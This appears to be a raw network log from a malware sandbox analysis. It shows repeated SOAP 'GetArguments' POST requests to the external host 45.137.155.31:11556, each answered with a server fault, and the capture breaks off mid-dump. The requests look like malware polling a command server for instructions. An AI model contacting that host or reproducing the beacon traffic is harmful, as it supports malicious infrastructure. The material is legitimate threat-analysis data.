Aug 3, 2021 23:09:39.893023014 CEST	10676	IN	HTTP/1.1 500 Internal Server Error Content-Length: 738 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 03 Aug 2021 21:09:39 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 73 3a 46 61 75 6c 74 3e 3c 66 61 75 6c 74 63 6f 64 65 20 78 6d 6c 6e 73 3a 61 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 73 2f 32 30 30 35 2f 30 35 2f 61 64 64 72 65 73 73 69 6e 67 2f 6e 6f 6e 65 22 3e 61 3a 41 63 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 54 68 65 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 41 63 74 69 6f 6e 20 27 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 64 70 6f 69 6e 74 2f 47 65 74 41 72 67 75 6d 65 6e 74 73 27 20 63 61 6e 6e 6f 74 20 62 65 20 70 72 6f 63 65 73 73 65 64 20 61 74 20 74 68 65 20 72 65 63 65 69 76 65 72 2c 20 64 75 65 20 74 6f 20 61 20 43 6f 6e 74 72 61 63 74 46 69 6c 74 65 72 20 6d 69 73 6d 61 74 63 68 20 61 74 20 74 68 65 20 45 6e 64 70 6f 69 6e 74 44 69 73 70 61 74 63 68 65 72 2e 20 54 68 69 73 20 6d 61 79 20 62 65 20 62 65 63 61 75 73 65 20 6f 66 20 65 69 74 68 65 72 20 61 20 63 6f 6e 74 72 61 63 74 20 6d 69 73 6d 61 74 63 68 20 28 6d 69 73 6d 61 74 63 68 65 64 20 41 63 74 69 6f 6e 73 20 62 65 74 77 65 65 6e 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 29 20 6f 72 20 61 20 62 69 6e 64 69 6e 67 2f 73 65 63 75 72 69 74 79 20 6d 69 73 6d 61 74 63 68 20 62 65 74 77 65 65 6e 20 74 68 65 20 73 65 6e 64 65 72 20 61 6e 64 20 74 68 65 20 72 65 63 65 69 76 65 72 2e 20 20 43 68 65 63 6b 20 74 68 61 74 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 20 68 61 76 65 20 74 68 65 20 73 61 6d 65 20 63 6f 6e 74 72 61 63 74 20 61 6e 64 20 74 68 65 20 73 61 6d 65 20 62 69 6e 64 69 6e 67 20 28 69 6e 63 6c 75 64 69 6e 67 20 73 65 63 75 72 69 74 79 20 72 65 71 75 69 72 65 6d 65 6e 74 73 2c 20 65 2e 67 2e 20 4d 65 73 73 61 67 65 2c 20 54 72 61 6e 73 70 6f 72 74 2c 20 4e 6f 6e 65 29 2e 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 73 3a 46 61 75 6c 74 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><s:Fault><faultcode xmlns:a="http://schemas.microsoft.com/ws/2005/05/addressing/none">a:ActionNotSupported</faultcode><faultstring xml:lang="en-US">The message with Action 'http://tempuri.org/Endpoint/GetArguments' cannot be processed at the receiver, due to a ContractFilter mismatch at the EndpointDispatcher. This may be because of either a contract mismatch (mismatched Actions between sender and receiver) or a binding/security mismatch between the sender and the receiver. Check that sender and receiver have the same contract and the same binding (including security requirements, e.g. Message, Transport, None).</faultstring></s:Fault></s:Body></s:Envelope>
Aug 3, 2021 23:09:40.904839039 CEST	10676	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetArguments" Host: 45.137.155.31:11556 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 3, 2021 23:09:40.981132030 CEST	10676	IN	HTTP/1.1 100 Continue
Aug 3, 2021 23:09:41.051243067 CEST	10677	IN	HTTP/1.1 500 Internal Server Error Content-Length: 738 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 03 Aug 2021 21:09:40 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 73 3a 46 61 75 6c 74 3e 3c 66 61 75 6c 74 63 6f 64 65 20 78 6d 6c 6e 73 3a 61 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 73 2f 32 30 30 35 2f 30 35 2f 61 64 64 72 65 73 73 69 6e 67 2f 6e 6f 6e 65 22 3e 61 3a 41 63 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 54 68 65 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 41 63 74 69 6f 6e 20 27 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 64 70 6f 69 6e 74 2f 47 65 74 41 72 67 75 6d 65 6e 74 73 27 20 63 61 6e 6e 6f 74 20 62 65 20 70 72 6f 63 65 73 73 65 64 20 61 74 20 74 68 65 20 72 65 63 65 69 76 65 72 2c 20 64 75 65 20 74 6f 20 61 20 43 6f 6e 74 72 61 63 74 46 69 6c 74 65 72 20 6d 69 73 6d 61 74 63 68 20 61 74 20 74 68 65 20 45 6e 64 70 6f 69 6e 74 44 69 73 70 61 74 63 68 65 72 2e 20 54 68 69 73 20 6d 61 79 20 62 65 20 62 65 63 61 75 73 65 20 6f 66 20 65 69 74 68 65 72 20 61 20 63 6f 6e 74 72 61 63 74 20 6d 69 73 6d 61 74 63 68 20 28 6d 69 73 6d 61 74 63 68 65 64 20 41 63 74 69 6f 6e 73 20 62 65 74 77 65 65 6e 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 29 20 6f 72 20 61 20 62 69 6e 64 69 6e 67 2f 73 65 63 75 72 69 74 79 20 6d 69 73 6d 61 74 63 68 20 62 65 74 77 65 65 6e 20 74 68 65 20 73 65 6e 64 65 72 20 61 6e 64 20 74 68 65 20 72 65 63 65 69 76 65 72 2e 20 20 43 68 65 63 6b 20 74 68 61 74 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 20 68 61 76 65 20 74 68 65 20 73 61 6d 65 20 63 6f 6e 74 72 61 63 74 20 61 6e 64 20 74 68 65 20 73 61 6d 65 20 62 69 6e 64 69 6e 67 20 28 69 6e 63 6c 75 64 69 6e 67 20 73 65 63 75 72 69 74 79 20 72 65 71 75 69 72 65 6d 65 6e 74 73 2c 20 65 2e 67 2e 20 4d 65 73 73 61 67 65 2c 20 54 72 61 6e 73 70 6f 72 74 2c 20 4e 6f 6e 65 29 2e 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 73 3a 46 61 75 6c 74 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><s:Fault><faultcode xmlns:a="http://schemas.microsoft.com/ws/2005/05/addressing/none">a:ActionNotSupported</faultcode><faultstring xml:lang="en-US">The message with Action 'http://tempuri.org/Endpoint/GetArguments' cannot be processed at the receiver, due to a ContractFilter mismatch at the EndpointDispatcher. This may be because of either a contract mismatch (mismatched Actions between sender and receiver) or a binding/security mismatch between the sender and the receiver. Check that sender and receiver have the same contract and the same binding (including security requirements, e.g. Message, Transport, None).</faultstring></s:Fault></s:Body></s:Envelope>
Aug 3, 2021 23:09:42.060776949 CEST	10678	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetArguments" Host: 45.137.155.31:11556 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 3, 2021 23:09:42.129812002 CEST	10678	IN	HTTP/1.1 100 Continue
Aug 3, 2021 23:09:42.199770927 CEST	10679	IN	HTTP/1.1 500 Internal Server Error Content-Length: 738 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 03 Aug 2021 21:09:41 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 73 3a 46 61 75 6c 74 3e 3c 66 61 75 6c 74 63 6f 64 65 20 78 6d 6c 6e 73 3a 61 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 73 2f 32 30 30 35 2f 30 35 2f 61 64 64 72 65 73 73 69 6e 67 2f 6e 6f 6e 65 22 3e 61 3a 41 63 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 54 68 65 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 41 63 74 69 6f 6e 20 27 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 64 70 6f 69 6e 74 2f 47 65 74 41 72 67 75 6d 65 6e 74 73 27 20 63 61 6e 6e 6f 74 20 62 65 20 70 72 6f 63 65 73 73 65 64 20 61 74 20 74 68 65 20 72 65 63 65 69 76 65 72 2c 20 64 75 65 20 74 6f 20 61 20 43 6f 6e 74 72 61 63 74 46 69 6c 74 65 72 20 6d 69 73 6d 61 74 63 68 20 61 74 20 74 68 65 20 45 6e 64 70 6f 69 6e 74 44 69 73 70 61 74 63 68 65 72 2e 20 54 68 69 73 20 6d 61 79 20 62 65 20 62 65 63 61 75 73 65 20 6f 66 20 65 69 74 68 65 72 20 61 20 63 6f 6e 74 72 61 63 74 20 6d 69 73 6d 61 74 63 68 20 28 6d 69 73 6d 61 74 63 68 65 64 20 41 63 74 69 6f 6e 73 20 62 65 74 77 65 65 6e 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 29 20 6f 72 20 61 20 62 69 6e 64 69 6e 67 2f 73 65 63 75 72 69 74 79 20 6d 69 73 6d 61 74 63 68 20 62 65 74 77 65 65 6e 20 74 68 65 20 73 65 6e 64 65 72 20 61 6e 64 20 74 68 65 20 72 65 63 65 69 76 65 72 2e 20 20 43 68 65 63 6b 20 74 68 61 74 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 20 68 61 76 65 20 74 68 65 20 73 61 6d 65 20 63 6f 6e 74 72 61 63 74 20 61 6e 64 20 74 68 65 20 73 61 6d 65 20 62 69 6e 64 69 6e 67 20 28 69 6e 63 6c 75 64 69 6e 67 20 73 65 63 75 72 69 74 79 20 72 65 71 75 69 72 65 6d 65 6e 74 73 2c 20 65 2e 67 2e 20 4d 65 73 73 61 67 65 2c 20 54 72 61 6e 73 70 6f 72 74 2c 20 4e 6f 6e 65 29 2e 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 73 3a 46 61 75 6c 74 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><s:Fault><faultcode xmlns:a="http://schemas.microsoft.com/ws/2005/05/addressing/none">a:ActionNotSupported</faultcode><faultstring xml:lang="en-US">The message with Action 'http://tempuri.org/Endpoint/GetArguments' cannot be processed at the receiver, due to a ContractFilter mismatch at the EndpointDispatcher. This may be because of either a contract mismatch (mismatched Actions between sender and receiver) or a binding/security mismatch between the sender and the receiver. Check that sender and receiver have the same contract and the same binding (including security requirements, e.g. Message, Transport, None).</faultstring></s:Fault></s:Body></s:Envelope>
Aug 3, 2021 23:09:43.217477083 CEST	10680	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetArguments" Host: 45.137.155.31:11556 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 3, 2021 23:09:43.289048910 CEST	10681	IN	HTTP/1.1 100 Continue
Aug 3, 2021 23:09:43.360315084 CEST	10682	IN	HTTP/1.1 500 Internal Server Error Content-Length: 738 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 03 Aug 2021 21:09:43 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 73 3a 46 61 75 6c 74 3e 3c 66 61 75 6c 74 63 6f 64 65 20 78 6d 6c 6e 73 3a 61 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 73 2f 32 30 30 35 2f 30 35 2f 61 64 64 72 65 73 73 69 6e 67 2f 6e 6f 6e 65 22 3e 61 3a 41 63 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 54 68 65 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 41 63 74 69 6f 6e 20 27 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 64 70 6f 69 6e 74 2f 47 65 74 41 72 67 75 6d 65 6e 74 73 27 20 63 61 6e 6e 6f 74 20 62 65 20 70 72 6f 63 65 73 73 65 64 20 61 74 20 74 68 65 20 72 65 63 65 69 76 65 72 2c 20 64 75 65 20 74 6f 20 61 20 43 6f 6e 74 72 61 63 74 46 69 6c 74 65 72 20 6d 69 73 6d 61 74 63 68 20 61 74 20 74 68 65 20 45 6e 64 70 6f 69 6e 74 44 69 73 70 61 74 63 68 65 72 2e 20 54 68 69 73 20 6d 61 79 20 62 65 20 62 65 63 61 75 73 65 20 6f 66 20 65 69 74 68 65 72 20 61 20 63 6f 6e 74 72 61 63 74 20 6d 69 73 6d 61 74 63 68 20 28 6d 69 73 6d 61 74 63 68 65 64 20 41 63 74 69 6f 6e 73 20 62 65 74 77 65 65 6e 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 29 20 6f 72 20 61 20 62 69 6e 64 69 6e 67 2f 73 65 63 75 72 69 74 79 20 6d 69 73 6d 61 74 63 68 20 62 65 74 77 65 65 6e 20 74 68 65 20 73 65 6e 64 65 72 20 61 6e 64 20 74 68 65 20 72 65 63 65 69 76 65 72 2e 20 20 43 68 65 63 6b 20 74 68 61 74 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 20 68 61 76 65 20 74 68 65 20 73 61 6d 65 20 63 6f 6e 74 72 61 63 74 20 61 6e 64 20 74 68 65 20 73 61 6d 65 20 62 69 6e 64 69 6e 67 20 28 69 6e 63 6c 75 64 69 6e 67 20 73 65 63 75 72 69 74 79 20 72 65 71 75 69 72 65 6d 65 6e 74 73 2c 20 65 2e 67 2e 20 4d 65 73 73 61 67 65 2c 20 54 72 61 6e 73 70 6f 72 74 2c 20 4e 6f 6e 65 29 2e 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 73 3a 46 61 75 6c 74 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><s:Fault><faultcode xmlns:a="http://schemas.microsoft.com/ws/2005/05/addressing/none">a:ActionNotSupported</faultcode><faultstring xml:lang="en-US">The message with Action 'http://tempuri.org/Endpoint/GetArguments' cannot be processed at the receiver, due to a ContractFilter mismatch at the EndpointDispatcher. This may be because of either a contract mismatch (mismatched Actions between sender and receiver) or a binding/security mismatch between the sender and the receiver. Check that sender and receiver have the same contract and the same binding (including security requirements, e.g. Message, Transport, None).</faultstring></s:Fault></s:Body></s:Envelope>
Aug 3, 2021 23:09:44.373850107 CEST	10682	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetArguments" Host: 45.137.155.31:11556 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 3, 2021 23:09:44.445511103 CEST	10682	IN	HTTP/1.1 100 Continue
Aug 3, 2021 23:09:44.515374899 CEST	10683	IN	HTTP/1.1 500 Internal Server Error Content-Length: 738 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 03 Aug 2021 21:09:44 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 73 3a 46 61 75 6c 74 3e 3c 66 61 75 6c 74 63 6f 64 65 20 78 6d 6c 6e 73 3a 61 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 73 2f 32 30 30 35 2f 30 35 2f 61 64 64 72 65 73 73 69 6e 67 2f 6e 6f 6e 65 22 3e 61 3a 41 63 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 54 68 65 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 41 63 74 69 6f 6e 20 27 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 64 70 6f 69 6e 74 2f 47 65 74 41 72 67 75 6d 65 6e 74 73 27 20 63 61 6e 6e 6f 74 20 62 65 20 70 72 6f 63 65 73 73 65 64 20 61 74 20 74 68 65 20 72 65 63 65 69 76 65 72 2c 20 64 75 65 20 74 6f 20 61 20 43 6f 6e 74 72 61 63 74 46 69 6c 74 65 72 20 6d 69 73 6d 61 74 63 68 20 61 74 20 74 68 65 20 45 6e 64 70 6f 69 6e 74 44 69 73 70 61 74 63 68 65 72 2e 20 54 68 69 73 20 6d 61 79 20 62 65 20 62 65 63 61 75 73 65 20 6f 66 20 65 69 74 68 65 72 20 61 20 63 6f 6e 74 72 61 63 74 20 6d 69 73 6d 61 74 63 68 20 28 6d 69 73 6d 61 74 63 68 65 64 20 41 63 74 69 6f 6e 73 20 62 65 74 77 65 65 6e 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 29 20 6f 72 20 61 20 62 69 6e 64 69 6e 67 2f 73 65 63 75 72 69 74 79 20 6d 69 73 6d 61 74 63 68 20 62 65 74 77 65 65 6e 20 74 68 65 20 73 65 6e 64 65 72 20 61 6e 64 20 74 68 65 20 72 65 63 65 69 76 65 72 2e 20 20 43 68 65 63 6b 20 74 68 61 74 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 20 68 61 76 65 20 74 68 65 20 73 61 6d 65 20 63 6f 6e 74 72 61 63 74 20 61 6e 64 20 74 68 65 20 73 61 6d 65 20 62 69 6e 64 69 6e 67 20 28 69 6e 63 6c 75 64 69 6e 67 20 73 65 63 75 72 69 74 79 20 72 65 71 75 69 72 65 6d 65 6e 74 73 2c 20 65 2e 67 2e 20 4d 65 73 73 61 67 65 2c 20 54 72 61 6e 73 70 6f 72 74 2c 20 4e 6f 6e 65 29 2e 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 73 3a 46 61 75 6c 74 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><s:Fault><faultcode xmlns:a="http://schemas.microsoft.com/ws/2005/05/addressing/none">a:ActionNotSupported</faultcode><faultstring xml:lang="en-US">The message with Action 'http://tempuri.org/Endpoint/GetArguments' cannot be processed at the receiver, due to a ContractFilter mismatch at the EndpointDispatcher. This may be because of either a contract mismatch (mismatched Actions between sender and receiver) or a binding/security mismatch between the sender and the receiver. Check that sender and receiver have the same contract and the same binding (including security requirements, e.g. Message, Transport, None).</faultstring></s:Fault></s:Body></s:Envelope>
Aug 3, 2021 23:09:45.529772997 CEST	10684	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetArguments" Host: 45.137.155.31:11556 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 3, 2021 23:09:45.598979950 CEST	10684	IN	HTTP/1.1 100 Continue
Aug 3, 2021 23:09:45.670629025 CEST	10685	IN	HTTP/1.1 500 Internal Server Error Content-Length: 738 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 03 Aug 2021 21:09:45 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 73 3a 46 61 75 6c 74 3e 3c 66 61 75 6c 74 63 6f 64 65 20 78 6d 6c 6e 73 3a 61 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 73 2f 32 30 30 35 2f 30 35 2f 61 64 64 72 65 73 73 69 6e 67 2f 6e 6f 6e 65 22 3e 61 3a 41 63 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 54 68 65 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 41 63 74 69 6f 6e 20 27 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 64 70 6f 69 6e 74 2f 47 65 74 41 72 67 75 6d 65 6e 74 73 27 20 63 61 6e 6e 6f 74 20 62 65 20 70 72 6f 63 65 73 73 65 64 20 61 74 20 74 68 65 20 72 65 63 65 69 76 65 72 2c 20 64 75 65 20 74 6f 20 61 20 43 6f 6e 74 72 61 63 74 46 69 6c 74 65 72 20 6d 69 73 6d 61 74 63 68 20 61 74 20 74 68 65 20 45 6e 64 70 6f 69 6e 74 44 69 73 70 61 74 63 68 65 72 2e 20 54 68 69 73 20 6d 61 79 20 62 65 20 62 65 63 61 75 73 65 20 6f 66 20 65 69 74 68 65 72 20 61 20 63 6f 6e 74 72 61 63 74 20 6d 69 73 6d 61 74 63 68 20 28 6d 69 73 6d 61 74 63 68 65 64 20 41 63 74 69 6f 6e 73 20 62 65 74 77 65 65 6e 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 29 20 6f 72 20 61 20 62 69 6e 64 69 6e 67 2f 73 65 63 75 72 69 74 79 20 6d 69 73 6d 61 74 63 68 20 62 65 74 77 65 65 6e 20 74 68 65 20 73 65 6e 64 65 72 20 61 6e 64 20 74 68 65 20 72 65 63 65 69 76 65 72 2e 20 20 43 68 65 63 6b 20 74 68 61 74 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 20 68 61 76 65 20 74 68 65 20 73 61 6d 65 20 63 6f 6e 74 72 61 63 74 20 61 6e 64 20 74 68 65 20 73 61 6d 65 20 62 69 6e 64 69 6e 67 20 28 69 6e 63 6c 75 64 69 6e 67 20 73 65 63 75 72 69 74 79 20 72 65 71 75 69 72 65 6d 65 6e 74 73 2c 20 65 2e 67 2e 20 4d 65 73 73 61 67 65 2c 20 54 72 61 6e 73 70 6f 72 74 2c 20 4e 6f 6e 65 29 2e 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 73 3a 46 61 75 6c 74 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><s:Fault><faultcode xmlns:a="http://schemas.microsoft.com/ws/2005/05/addressing/none">a:ActionNotSupported</faultcode><faultstring xml:lang="en-US">The message with Action 'http://tempuri.org/Endpoint/GetArguments' cannot be processed at the receiver, due to a ContractFilter mismatch at the EndpointDispatcher. This may be because of either a contract mismatch (mismatched Actions between sender and receiver) or a binding/security mismatch between the sender and the receiver. Check that sender and receiver have the same contract and the same binding (including security requirements, e.g. Message, Transport, None).</faultstring></s:Fault></s:Body></s:Envelope>
Aug 3, 2021 23:09:46.685693026 CEST	10685	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetArguments" Host: 45.137.155.31:11556 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 3, 2021 23:09:46.754786015 CEST	10685	IN	HTTP/1.1 100 Continue
Aug 3, 2021 23:09:46.832741976 CEST	10686	IN	HTTP/1.1 500 Internal Server Error Content-Length: 738 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 03 Aug 2021 21:09:46 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 73 3a 46 61 75 6c 74 3e 3c 66 61 75 6c 74 63 6f 64 65 20 78 6d 6c 6e 73 3a 61 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 73 2f 32 30 30 35 2f 30 35 2f 61 64 64 72 65 73 73 69 6e 67 2f 6e 6f 6e 65 22 3e 61 3a 41 63 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 54 68 65 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 41 63 74 69 6f 6e 20 27 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 64 70 6f 69 6e 74 2f 47 65 74 41 72 67 75 6d 65 6e 74 73 27 20 63 61 6e 6e 6f 74 20 62 65 20 70 72 6f 63 65 73 73 65 64 20 61 74 20 74 68 65 20 72 65 63 65 69 76 65 72 2c 20 64 75 65 20 74 6f 20 61 20 43 6f 6e 74 72 61 63 74 46 69 6c 74 65 72 20 6d 69 73 6d 61 74 63 68 20 61 74 20 74 68 65 20 45 6e 64 70 6f 69 6e 74 44 69 73 70 61 74 63 68 65 72 2e 20 54 68 69 73 20 6d 61 79 20 62 65 20 62 65 63 61 75 73 65 20 6f 66 20 65 69 74 68 65 72 20 61 20 63 6f 6e 74 72 61 63 74 20 6d 69 73 6d 61 74 63 68 20 28 6d 69 73 6d 61 74 63 68 65 64 20 41 63 74 69 6f 6e 73 20 62 65 74 77 65 65 6e 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 29 20 6f 72 20 61 20 62 69 6e 64 69 6e 67 2f 73 65 63 75 72 69 74 79 20 6d 69 73 6d 61 74 63 68 20 